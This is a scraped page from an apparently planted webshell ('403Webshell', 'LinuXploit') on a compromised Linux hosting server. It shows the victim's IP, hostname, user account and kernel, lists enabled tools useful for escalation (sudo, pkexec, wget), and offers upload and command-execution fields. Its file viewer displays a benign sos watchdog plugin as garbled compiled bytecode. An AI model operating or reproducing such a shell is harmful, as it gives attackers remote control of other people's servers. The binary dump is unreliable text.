403Webshell
Server IP : 216.238.111.58  /  Your IP : 216.73.217.34
Web Server : LiteSpeed
System : Linux hosting.smartskills.com.br 4.18.0-553.120.1.el8_10.x86_64 #1 SMP Mon Apr 20 18:04:27 EDT 2026 x86_64
User : skillsitcom ( 1002)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/sos/report/plugins/__pycache__/watchdog.cpython-36.opt-1.pyc
3

ܓ�i��@s6ddlmZddlmZmZmZGdd�dee�ZdS)�)�glob)�Plugin�RedHatPlugin�	PluginOptc@s<eZdZdZdZd
ZdZedddd�gZdd	�Z	d
d�Z
dS)�WatchdogzWatchdog information.�watchdog�systemz	conf-filez/etc/watchdog.confzwatchdog config file)�defaultZdesccCs�d}t|ddd��d}x\|D]T}|jd�dj�}y(|jdd�\}}|j�d	krV|j�}Wqtk
rlYqXqWWdQRX|S)
aGet watchdog log directory.

            Get watchdog log directory path configured in ``conf_file``.

            :returns: The watchdog log directory path.
            :returntype: str.
            :raises: IOError if ``conf_file`` is not readable.
        N�rzUTF-8)�encoding�#r�=�zlog-dir)�open�split�strip�
ValueError)�self�	conf_file�log_dirZconf_f�line�key�value�r�/usr/lib/python3.6/watchdog.py�get_log_dirs	
zWatchdog.get_log_dircCs�|j|jd��}|jd�}|j|dg�|jddg�y|j|�}|rJ|}Wn8tk
r�}z|jd|�d|���WYdd}~XnX|jd	�r�t|j|d
��}n t|j|d��t|j|d��}|j|�x&t|jd
��D]}|jd|���q�WdS)z�Collect watchdog information.

            Collect configuration files, custom executables for test-binary
            and repair-binary, and stdout/stderr logs.
        z	conf-filez/var/log/watchdogz/etc/sysconfig/watchdogz/etc/watchdog.dz/usr/libexec/watchdog/scriptszCould not read z: NZall_logs�*z*.stdoutz*.stderrz/dev/watchdog*zwdctl )Z	path_joinZ
get_optionZ
add_copy_specr�IOErrorZ	_log_warnrZadd_cmd_output)rrr�resZexZ	log_filesZdevrrr�setup4s*

(

zWatchdog.setupN)r)r)�__name__�
__module__�__qualname__Z
short_descZplugin_nameZprofilesZpackagesrZoption_listrrrrrrrs
rN)rZsos.report.pluginsrrrrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit